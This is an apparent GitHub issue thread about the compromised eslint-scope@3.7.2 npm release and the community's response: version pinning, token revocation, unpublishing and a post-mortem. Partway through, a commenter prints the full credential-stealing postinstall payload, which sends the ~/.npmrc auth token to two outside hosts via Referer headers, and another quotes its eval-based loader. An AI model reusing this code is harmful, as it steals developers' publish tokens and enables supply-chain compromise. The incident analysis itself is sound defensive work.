Closed pronebird closed 6 years ago
+1 what the heck is going on
Thanks for the issue!
Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).
I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.
Thanks again for bringing this to our attention.
Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.
I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.
babel-eslint
depends on ~3.7.1
which immediately makes it pull the vulnerable 3.7.2
It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.
I pinged babel-eslint
team to update to 4.0.0 or alternatively they can fix the version in package.json
. Meanwhile I've pinned the version to 3.7.1 in my package.json
.
"resolutions": {
"eslint-scope": "3.7.1"
}
The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions
seem to do the trick.
I've sent a message to npm's support asking for help in identifying what happened.
I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.
In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!
Is it possible to publish a clean 3.7.3
version to avoid infecting projects that are configured to auto-bump minor semvers?
Hey I have a strange behaviour with eslint-scope@3.7.2
postinstall, I cannot install it
> eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
> node ./lib/build.js
undefined:25
https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
^^^^^
SyntaxError: Unexpected end of input
@aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.
Thanks for your patience!
@yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!
@platinumazure yep I've seen that but I'm using babel-eslint
... an issue is already open https://github.com/babel/babel-eslint/issues/656
@yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install
) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1
to force that version to be used by babel-eslint. Hope this helps.
~Is it possible to "republish" 3.7.1
as 3.7.3
so all of the automated processes will use the uncompromised version? Seems like a good idea until this is sorted out.~
Nvm, @aSapien already suggested this. Sorry, was stressing a bit because of this!
Basically what's are the effets of the infected package?
This is a hacked version which steals the npm credentials and sends them to remote server.
@pronebird Please update the issue first post with the effet and advise people to immediately change their npm tokens
Is this problem specific to Linux environment? I am able to install in windows without any problem
eslint-scope@3.7.2 postinstall D:\xx\xxx\node_modules\eslint-scope node ./lib/build.js
@manjotnms, please renew your NPM credentials. Installing it successfully means that the attacker's script also successfully finished. In our Linux CI environment it failed luckily, but that doesn't mean it's safe...
The pastebin in question has been removed / emptied out now.
For later reference - this is what was contained in said pastebin:
try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
if (fs.existsSync(npmrc)){
content=fs.readFileSync(npmrc,{encoding:'utf8'});
content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
var https1=require('https');
https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
}
}catch(e){}
As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.
Anyhow, it's removed now, so any new projects won't be contaminated (edit: at least until somebody re-adds the code)
@byCedric : I am using eslint 4.7.2, which has a dependency on eslint-scope 3.7.2. I suppose in this case eslint has to renew its NPM credentials.
@manjotnms, yes exactly, I would recommend you do the same 😄
Make sure to change your password and enable 2FA.
Check your current token in ~/.npmrc
.
Log into npm using npm login
Revoke the token using npm token delete
https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens
@yvele I've updated the issue with some suggestions on how to circumvent the update to the malicious 3.7.2 and how to revoke the npm account token (comment by @TimvanScherpenzeel )
Looks like its been unpublished :)
Solved in about 1h... You guys must wear capes. <3
That's the power of open source, baby!
Does anyone have source for 3.7.2
version? For research purposes.
When was 3.7.2 first published on the NPM registry?
@cusspvz thanks!
so NPM didn't actually remove the file from their cloud 🤦♂️
@samuele-artuso
{ modified: '2018-07-12T12:37:12.601Z',
created: '2017-03-17T22:10:11.109Z',
'3.7.0': '2017-03-17T22:10:11.109Z',
'3.7.1': '2017-04-12T21:13:31.158Z',
'4.0.0-alpha.0': '2018-04-28T01:47:18.036Z',
'4.0.0-rc.0': '2018-06-09T15:59:17.350Z',
'4.0.0': '2018-06-21T20:41:41.408Z',
'3.7.2': '2018-07-12T10:40:00.478Z' } // <--
Heh, no wonder the loader didn't work on all platforms if it does this:
r.on('data',(c)=>{
eval(c);
});
There's nothing to guarantee that all of the code is delivered in a single chunk...
Presumably this means that some npm token, from one of the npm accounts with publish privileges has been compromised/disclosed somewhere, such as on a CI system. To prevent this reoccurring, not only do you need to work out which maintainer/publisher was compromised, but how. Or it could just happen again.
First step: do public npm logs show which account published each version? If not then presumably the npm
team would be willing to help.
Given the nature of the attack, it seems highly plausible that eslint's publish tokens were stolen by this same script. It's probably worth performing an audit of all of eslint's dependencies themselves to identify whether a downstream package compromised eslint's auth tokens in a malicious postinstall
.
If someone has a cache of the old registry result, it would include which npm
user published v3.7.2. e.g. here is for v3.7.1:
@rarkins We had a discussion here on Slack, that possibly the tokens from the eslint-scope team has been stolen in a similar fashion and that other dependencies may have been affected that led to this specific hack.
Quick one-liner if anybody is on either linux or mac, and has a ton of different files and node projects on their computers, and want to check quickly which version you're running to see if you've potentially been exposed
locate eslint-scope | grep -i "eslint-scope/package.json" | xargs jq .version
Once things settle a bit, I'd love to see the eslint team and/or npm support publish a post-mortem discussing exactly what happened and recommendations to prevent this from occurring for other npm package authors in the future.
@rarkins the yarn and npm repositories don't have that info. But it might be worthy to try on enterprise npm proxies.
For those who are using proxied registries, here's the original url: http://registry.npmjs.com/eslint-scope/
@Esya is there a similiar one-liner for windows?
@Esya jq
is not a standard install on Mac or Linux. Also, locate
only works if your database is up to date. find
would probably be better. Also, Windows has had all of these tools for a long time.
@rabbishuki This easily works on Windows with Git Bash or something similar. You'll need to install jq
.
locate eslint-scope | grep -i "eslint-scope/package.json" | xargs jq .version
@transitive-bullshit I don't think this will "settle" soon enough.. If the attacker now has at least a thousand or so npmrc tokens that actually made it through, he can automate the process and infect even more packages, only now his script won't fail (since we pointed out his mistake) and we'll have no way of knowing if we're infected or not.
This will not settle until npm purges all tokens globally.
@nikita-gedgaudas-ht I was about to post nearly the same thing. This could theoretically be a self-replicating virus affecting all packages of all authors whose credentials were compromised, and then all packages that depend on those packages, and so on. The virus could also then change its behavior to do more than leak credentials... Just because that's "all" it did here and just because the pastebin has been removed, that doesn't mean that's what it would do to downstream affected packages.
Is there a command/script that can be run on a package.json file to check it and all its dependencies (recursively) for eslint and print its version?
The problem is that not only eslint-scope could be infected. Any package in npm right now could have the same issue.
Damn. Saw this in our CI logs, this morning.
Fortunately, we have no .npmrc with credentials, but if I was the one affected, I would do a full audit of the versions of my modules, see which ones were published in the past 2,3 weeks, do some integrity check on the code, look for awkward file modification dates.
If anyone needs help, I have an extra pair of hands to spare and a couple of hours.
I think getting the message in front of as many people as possible would be the first thing. And maybe inspect similar high-profile modules for the same issue.
If your locate database isn't up to date or you don't want to fuss with building one (which can take a long time!), here's a bash one-liner relying on find
that'll do the same job and also let you know which of your packages is affected:
for packagejson in $(find ~/code -name 'package.json' -path '*node_modules/eslint-scope/*'); do jq '.version' $packagejson | grep '3.7.2' 1>/dev/null; if [[ $? == "0" ]]; then echo $packagejson; fi; done
This does assume the presence of jq
(which is worth installing anyway!), and that your checkouts all live under ~/code
- update to taste. It'll work on anything Unixy, or Windows with Git Bash or Cygwin (does anyone still use Cygwin?), assuming those prereqs.
Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes
Update from the maintainers
Incident status report from npm
Please follow the comment by @platinumazure that gives a little insight into what happened: https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026
It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See https://github.com/eslint/eslint/issues/10600 for more information.
In the meantime
eslint-scope
to3.7.1
, one way is to add theresolutions
to yourpackage.json
Verify the dependency version with
yarn list eslint-scope
. It should print outeslint-scope@3.7.1
Use
package-lock.json
oryarn.lock
and have it in your repo if possible. Do not upgrade to 3.7.2 even ifyarn outdated
shows that there is a new version available.Revoke your NPM token as suggested in the comment below https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.
The issue
I don't know what the hell this is but it looks like a virus to me:
The contents of a suspicious file:
The URL it attempts to load is http://pastebin.com/raw/XLeVP82h
Also it attempts to send my
.npmrc
somewhere.This is version 3.7.2 that's been published an hour ago.